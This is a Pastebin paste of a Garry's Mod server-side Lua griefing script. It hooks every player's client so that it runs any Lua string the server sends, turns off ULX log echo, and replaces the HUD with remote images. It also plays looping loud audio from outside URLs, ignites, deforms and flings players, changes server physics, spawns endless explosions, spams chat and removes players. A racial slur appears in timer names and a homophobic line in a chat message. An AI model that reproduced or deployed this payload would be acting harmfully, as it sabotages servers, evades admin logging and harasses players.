API tools faq
paste
Advertisement
nsfw2

Untitled

nsfw2
Apr 16th, 2021
1,077
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 15.64 KB | None | 0 0
raw download clone embed print report
  1. util.AddNetworkString "skeleton_dancing_troll"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5.     local ret = ""
  6.     for _ = 1, math.random( intMin, intMax ) do
  7.         ret = ret.. string.char( math.random(65, 90) )
  8.     end
  9.  
  10.     return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18.     self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22.     pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23.     if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25.     timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26.         if not IsValid( pPlayer ) then return end
  27.         self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28.         self:NextAction( pPlayer )
  29.     end )
  30. end
  31.  
  32. function lol:Start( pPlayer )
  33.     pPlayer.m_intCurAction = 0
  34.     self:NextAction( pPlayer )
  35. end
  36.  
  37. function lol:SendLua( pPlayer, strLua )
  38.     net.Start( "skeleton_dancing_troll" )
  39.         net.WriteString( strLua )
  40.     net.Send( pPlayer )
  41. end
  42.  
  43. function lol:SetupPlayer( pPlayer )
  44.     pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  45. end
  46.  
  47. for k, v in pairs( player.GetAll() ) do
  48.     lol:SetupPlayer( v )
  49.     timer.Simple( 2, function() lol:Start( v ) end )
  50. end
  51.  
  52. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  53.     lol:SetupPlayer( pPlayer )
  54.     timer.Simple( 10, function() lol:Start( pPlayer ) end )
  55. end )
  56.  
  57. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  58.     if strText:sub( 1, 5 ) == "/1337" then
  59.         pSender:Ignite( 1e9 )
  60.         pSender:ChatPrint( "Nop" )
  61.         pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  62.         return false
  63.     end
  64. end )
  65.  
  66.  
  67.  
  68. --Sequence stack
  69. --Start some tunes and steam in our assets
  70. lol:PushAction( 0, function( pPlayer )
  71.     lol:SendLua( pPlayer, ([=[
  72.         sound.PlayURL( "https://d.zaix.ru/7NNT.mp3", "", function()end )
  73.        
  74.         g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  75.         local html = [[%s]]
  76.         local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  77.             local pnl = vgui.Create( "HTML" )
  78.             pnl:SetPos( ScrW() -1, ScrH() -1 )
  79.             pnl:SetVisible( true )
  80.             pnl:SetMouseInputEnabled( false )
  81.             pnl:SetKeyBoardInputEnabled( false )
  82.             pnl:SetSize( intSizeX, intSizeY )
  83.             pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  84.            
  85.             local PageLoaded
  86.             PageLoaded = function()
  87.                 local mat = pnl:GetHTMLMaterial()
  88.                 if mat then
  89.                     g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  90.                     return
  91.                 end
  92.                
  93.                 timer.Simple( 0.10, PageLoaded )
  94.             end
  95.  
  96.             PageLoaded()
  97.         end
  98.  
  99.         LoadWebMaterial( "https://ibb.co/ndzCH8", "hud1", 300, 128 )
  100.         LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306628-hud2.png", "hud2", 300, 128 )
  101.         LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306630-hud3.png", "hud3", 128, 128 )
  102.         LoadWebMaterial( "https://goo.gl/fgF2ji", "doritos", 256, 256 )
  103.         LoadWebMaterial( "https://goo.gl/fgF2ji", "fedora", 256, 256 )
  104.         LoadWebMaterial( "https://goo.gl/fgF2ji", "dew", 256, 256 )
  105.         LoadWebMaterial( "https://goo.gl/fgF2ji", "awp", 256, 256 )
  106.     ]=]):format(lol.m_strImageLoadHTML) )
  107.     RunConsoleCommand("ulx_logecho", "0")
  108.    
  109.     timer.Create( "hello", 2, 1, function()
  110.     RunConsoleCommand( "say", "Привет от Nsfw‚" )
  111.     end)
  112.    
  113.     timer.Create( "hello2", 10, 1, function()
  114.     RunConsoleCommand( "say", "Я запустил свой disco, после перезагрузки все будет ок" )
  115.     end)
  116.    
  117.     timer.Create( "hello3", 14, 1, function()
  118.     RunConsoleCommand( "say", "Не бей меня плз" )
  119.     end)
  120.    
  121.     timer.Create( "hello5", 20, 1, function()
  122.     RunConsoleCommand( "say", "Nsfw Воняет он гей" )
  123.     end)
  124.    
  125.     timer.Create( "hello6", 32, 1, function()
  126.     RunConsoleCommand( "say", "После перезапуски все будет оккк" )
  127.     end)
  128. end )
  129.  
  130. --HUD swap
  131. lol:PushAction( 40, function( pPlayer )
  132.     lol:SendLua( pPlayer, [[
  133.         (GAMEMODE or GM).CalcView = function() end
  134.         (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  135.  
  136.         local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  137.         for k, v in pairs(remove) do
  138.             hook.GetTable()[v] = {}
  139.         end
  140.  
  141.         local function GetWebMat( strURL )
  142.             return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  143.         end
  144.  
  145.             hook.Add( "HUDPaint", "newhud", function()
  146.             surface.SetDrawColor( 255, 255, 255, 255 )
  147.  
  148.             if GetWebMat( "hud1" ) then
  149.                 surface.SetMaterial( GetWebMat("hud1")[1] )
  150.                 surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  151.             end
  152.             if GetWebMat( "hud2" ) then
  153.                 surface.SetMaterial( GetWebMat("hud2")[1] )
  154.                 surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
  155.             end
  156.             if GetWebMat( "hud3" ) then
  157.                 surface.SetMaterial( GetWebMat("hud3")[1] )
  158.                 surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
  159.             end
  160.  
  161.             if GetWebMat( "doritos" ) then
  162.                 surface.SetMaterial( GetWebMat("doritos")[1] )
  163.                 surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
  164.             end
  165.             if GetWebMat( "dew" ) then
  166.                 surface.SetMaterial( GetWebMat("dew")[1] )
  167.                 surface.DrawTexturedRectRotated( math.random(250, 260), math.random(ScrH() -250, ScrH() -260), 110 *((350 /110) -1), 256, CurTime() *-512 )
  168.             end
  169.             if GetWebMat( "fedora" ) then
  170.                 surface.SetMaterial( GetWebMat("fedora")[1] )
  171.                 surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(250, 260), 256, 256, CurTime() *-512 )
  172.             end
  173.             if GetWebMat( "awp" ) then
  174.                 surface.SetMaterial( GetWebMat("awp")[1] )
  175.                 surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 256, CurTime() *512 )
  176.             end
  177.  
  178.             draw.SimpleTextOutlined(
  179.                 "๑۩۩๑ в–Ѓ в–‚ в–ѓ в–„ в–… в–† в–‡Д¤бєЄД€РЊД’ДЋ аёїВҐ ĐỆfДЊб»’Еѓ Е в±ЈLб»’Р‡Иљ v5.2 в–€ в–‡ в–† в–… в–„ в–‚ ▁๑۩۩๑",
  180.                 "DermaLarge",
  181.                 ScrW() /2 +math.random( -8, 8 ),
  182.                 ScrH() /2 +math.random( -8, 8 ) +24,
  183.                 Color( 255, 0, 0, 255 ),
  184.                 TEXT_ALIGN_CENTER,
  185.                 TEXT_ALIGN_CENTER,
  186.                 1,
  187.                 Color( 0, 0, 255, 255 )
  188.                 )
  189.             end )
  190.  
  191.         local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  192.         hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  193.  
  194.         surface.PlaySound( "garrysmod/save_load4.wav" )
  195.     ]] )
  196. end )
  197.  
  198. --Disco time
  199. lol:PushAction( 9.1, function( pPlayer )
  200.     local idx = pPlayer:EntIndex()
  201.     timer.Create( "beat".. idx, 0.42, 0, function()
  202.         if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  203.         pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  204.     end )
  205. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  206.  
  207. timer.Create( "niggaspams2", 0.1, 0, function()
  208. RunConsoleCommand( "sv_friction", "-8" )
  209. end)
  210.  
  211. timer.Create( "niggaspams3", 0.1, 0, function()
  212. RunConsoleCommand( "sv_gravity", "-600" )
  213. end)
  214. timer.Create( "next_level_timer", 0.1, 0, function()
  215.     for k, v in pairs(player.GetAll()) do v:SendLua([[chat.AddText( Color( math.random(1, 255), math.random(1, 255), math.random(1, 255) ), "в–Ѓ в–‚ в–ѓ в–„ в–… в–† в–‡Д¤бєЄД€РЊД’ДЋ аёїВҐ ĐỆfДЊб»’Еѓ Е в±ЈLб»’Р‡Иљ v5.2 в–€ в–‡ в–† в–… в–„ в–‚ в–Ѓ" )]])
  216.     end
  217. end)
  218.  
  219. for k,v in pairs(player.GetAll()) do v:SetVelocity(v:GetVelocity() + Vector(math.random(1000,5000), math.random(1000,5000), math.random(1000,5000))) end
  220.  
  221.  
  222. hook.Add("Think", "busted", function()
  223.     for k,v in pairs (player.GetAll()) do
  224.         v:SetModelScale(2.5, 100);
  225.         v:SetRunSpeed(400 * 2);
  226.         v:SetWalkSpeed(200 * 2);
  227.     end
  228. end)
  229.  
  230. for k, v in pairs( player.GetAll() ) do v:SendLua( [[util.ScreenShake( Vector( 0, 0, 0 ), 10, 5, 60, 5000 )]] ) end
  231.  
  232. for k,v in pairs(player.GetAll()) do
  233.     local a = v:LookupBone("ValveBiped.Bip01_Head1")
  234.     local b = v:LookupBone("ValveBiped.Bip01_R_Thigh")
  235.     local c = v:LookupBone("ValveBiped.Bip01_L_Thigh")
  236.     local d = v:LookupBone("ValveBiped.Bip01_R_Calf")
  237.     local e = v:LookupBone("ValveBiped.Bip01_L_Calf")
  238.     local f = v:LookupBone("ValveBiped.Bip01_R_UpperArm")
  239.     local g = v:LookupBone("ValveBiped.Bip01_L_UpperArm")
  240.     local h = v:LookupBone("ValveBiped.Bip01_R_Forearm")
  241.     local i = v:LookupBone("ValveBiped.Bip01_L_Forearm")
  242.     local j = v:LookupBone("ValveBiped.Bip01_R_Clavicle")
  243.     local k = v:LookupBone("ValveBiped.Bip01_L_Clavicle")
  244.  
  245.         v:ManipulateBoneScale( a, Vector(4,0,4))
  246.         v:ManipulateBoneScale( b, Vector(0,0,0))
  247.         v:ManipulateBoneScale( c, Vector(0,0,0))
  248.         v:ManipulateBoneScale( d, Vector(0,0,1))
  249.         v:ManipulateBoneScale( e, Vector(0,0,1))
  250.         v:ManipulateBoneScale( f, Vector(0,0,0))
  251.         v:ManipulateBoneScale( g, Vector(0,0,0))
  252.         v:ManipulateBoneScale( h, Vector(1,1.5,1.5))
  253.         v:ManipulateBoneScale( i, Vector(1,1.5,1.5))
  254.         v:ManipulateBoneScale( j, Vector(0,0,0))
  255.         v:ManipulateBoneScale( k, Vector(0,0,0))
  256.         end
  257.  
  258.  
  259. timer.Create( "ignitelol", 0.1, 1, function()
  260. for k,v in pairs(player.GetAll()) do v:Ignite(120) end
  261. end)
  262. -----------------------------------------------------------------------------------------------------------------------------------------------------------------------
  263.  
  264.     lol:SendLua( pPlayer, [[
  265.         local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  266.         local time = 0
  267.  
  268.         hook.Add( "Think", "wat", function()
  269.             if CurTime() < time then
  270.                 return
  271.             end
  272.  
  273.             time = CurTime() +0.05
  274.             for i = 1, 16 do
  275.                 local part = emitter:Add(
  276.                     "particles/balloon_bit",
  277.                     LocalPlayer():GetPos() +Vector(
  278.                         math.random( -256, 256 ),
  279.                         math.random( -256, 256 ),
  280.                         256
  281.                     )
  282.                 )
  283.                
  284.                 if part then
  285.                     local Size = math.random( 4, 7 )
  286.                    
  287.                     part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  288.                     part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  289.                     part:SetDieTime( 4.5 )
  290.                     part:SetGravity( Vector(40, 0, -250) )
  291.                     part:SetLifeTime( 0 )
  292.                     part:SetStartSize( Size /2 )
  293.                     part:SetEndSize( Size )
  294.                     part:SetCollide( true )
  295.                 end
  296.             end
  297.         end )
  298.     ]] )
  299.  
  300.     lol:SendLua( pPlayer, [[
  301.         hook.Add( "RenderScreenspaceEffects", "wat", function()
  302.             local sinScaler = math.sin( CurTime() )
  303.             DrawBloom(
  304.                 0,
  305.                 3,
  306.                 sinScaler *math.Rand(1, 8),
  307.                 sinScaler *math.Rand(1, 8),
  308.                 6,
  309.                 math.Rand(0.5, 2),
  310.                 math.Rand(0, 0.3),
  311.                 math.Rand(0, 0.3),
  312.                 math.Rand(0.5, 1)
  313.             )
  314.  
  315.             DrawColorModify{
  316.                 ["$pp_colour_addr"] = 0,
  317.                 ["$pp_colour_addg"] = 0,
  318.                 ["$pp_colour_addb"] = 00,
  319.                 ["$pp_colour_brightness" ] = 0,
  320.                 ["$pp_colour_contrast" ] = 1,
  321.                 ["$pp_colour_colour" ] = 1,
  322.                 ["$pp_colour_mulr" ] = 0,
  323.                 ["$pp_colour_mulg" ] = 0,
  324.                 ["$pp_colour_mulb" ] = 1
  325.             }
  326.         end )
  327.  
  328.         local mdl = ClientsideModel( "models/player/breen.mdl", RENDERGROUP_BOTH )
  329.         mdl:SetNoDraw( true )
  330.         local posCache, time = {}, 0
  331.  
  332.         hook.Add( "HUDPaint", "dance", function()
  333.             if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  334.                 local idx = mdl:LookupSequence("taunt_dance")
  335.                 mdl.SeqDuration = mdl:SequenceDuration( idx )
  336.                 mdl.SeqStart = CurTime()
  337.                 mdl:ResetSequence( idx )
  338.             end
  339.  
  340.             mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  341.  
  342.            
  343.             local w, h = 300, 300
  344.             local ang = Angle( 0, 0, 0 )
  345.  
  346.             for i = 1, 32 do
  347.                 if CurTime() > time then
  348.                     posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  349.                 end
  350.                 local x, y = posCache[i][1], posCache[i][2]
  351.  
  352.                 cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  353.                     cam.IgnoreZ( true )
  354.                     render.SuppressEngineLighting( true )
  355.                    
  356.                     render.SetLightingOrigin( mdl:GetPos() )
  357.                     render.ResetModelLighting( 1, 1, 1 )
  358.                     render.SetColorModulation( 0, 0, 1 )
  359.  
  360.                     mdl:DrawModel()
  361.                    
  362.                     render.SuppressEngineLighting( false )
  363.                     cam.IgnoreZ( false )
  364.                 cam.End3D()
  365.             end
  366.  
  367.             if CurTime() > time then
  368.                 time = CurTime() +0.15
  369.             end
  370.         end )
  371.  
  372.         surface.PlaySound( "vo/npc/male01/ohno.wav" )
  373.     ]] )
  374. end )
  375.  
  376. lol:PushAction( 46, function( pPlayer )
  377.     lol:SendLua( pPlayer, [[
  378.         hook.Add( "GetMotionBlurValues", "wat", function()
  379.             return 0, 0, 1, math.sin(CurTime() *13)
  380.         end )
  381.  
  382.         hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  383.             local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  384.             DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  385.             DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  386.         end )
  387.  
  388.         hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  389.             render.SetMaterial( Material("cable/blue_elec") )
  390.             for i = 1, 32 do
  391.                 render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  392.             end
  393.         end )
  394.  
  395.         timer.Create( "thedrop", 0.42, 0, function()
  396.             util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  397.         end )
  398.     ]] )
  399.    
  400.     pPlayer:Remove()
  401.    
  402.     timer.Create( "rights", 0.1, 0, function()
  403.     for k, v in pairs(player.GetAll()) do
  404.         v:ConCommand("+right");
  405.     end
  406.    
  407. end)
  408.  
  409. --EVIL TIME rip headpones
  410. lol:PushAction( 100, function( pPlayer )
  411.     lol:SendLua( pPlayer, [[
  412.         surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  413.        
  414.        
  415.  
  416.         local sounds = {}
  417.         for i = 1, 4 do
  418.             sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan )
  419.                 sounds[#sounds +1] = pChan
  420.             end )
  421.         end
  422.  
  423.         timer.Create( "asdf", 1, 0, function()
  424.             if #sounds ~= 4 then return end
  425.             timer.Destroy( "asdf" )
  426.             for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  427.         end )
  428.  
  429.         hook.Add( "HUDShouldDraw", "newhud", function() return false end )
  430.        
  431.     ]] )
  432.    
  433.     timer.Create( "allahakbar", 5, 0, function()
  434.     hook.Add("Think", "armageddon", function()
  435.                 local explode = ents.Create( "env_explosion" )
  436.                     explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  437.                     explode:Spawn()
  438.                     explode:SetKeyValue( "iMagnitude", "500" )
  439.                     explode:Fire( "Explode", 0, 0 )
  440.                 end)
  441.                 end)
  442.                
  443.                 hook.Add("Think", "chatspam", function() for k,v in pairs(player.GetAll()) do v:PrintMessage( HUD_PRINTCENTER, " в–Ѓ в–‚ в–ѓ в–„ в–… в–† в–‡Д¤бєЄД€РЊД’ДЋ аёїВҐ ĐỆfДЊб»’Еѓ Е в±ЈLб»’Р‡Иљ v5.2 в–€ в–‡ в–† в–… в–„ в–‚ в–Ѓ " ) v:SendLua([[chat.AddText( Color( math.random(1, 255), math.random(1, 255), math.random(1, 255) ), "в–Ѓ в–‚ в–ѓ в–„ в–… в–† в–‡Д¤бєЄД€РЊД’ДЋ аёїВҐ ĐỆfДЊб»’Еѓ Е в±ЈLб»’Р‡Иљ v5.2 в–€ в–‡ в–† в–… в–„ в–‚ в–Ѓ" )]]) end end)
  444.            
  445.     pPlayer:Remove()
  446.      
  447. end )
  448. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!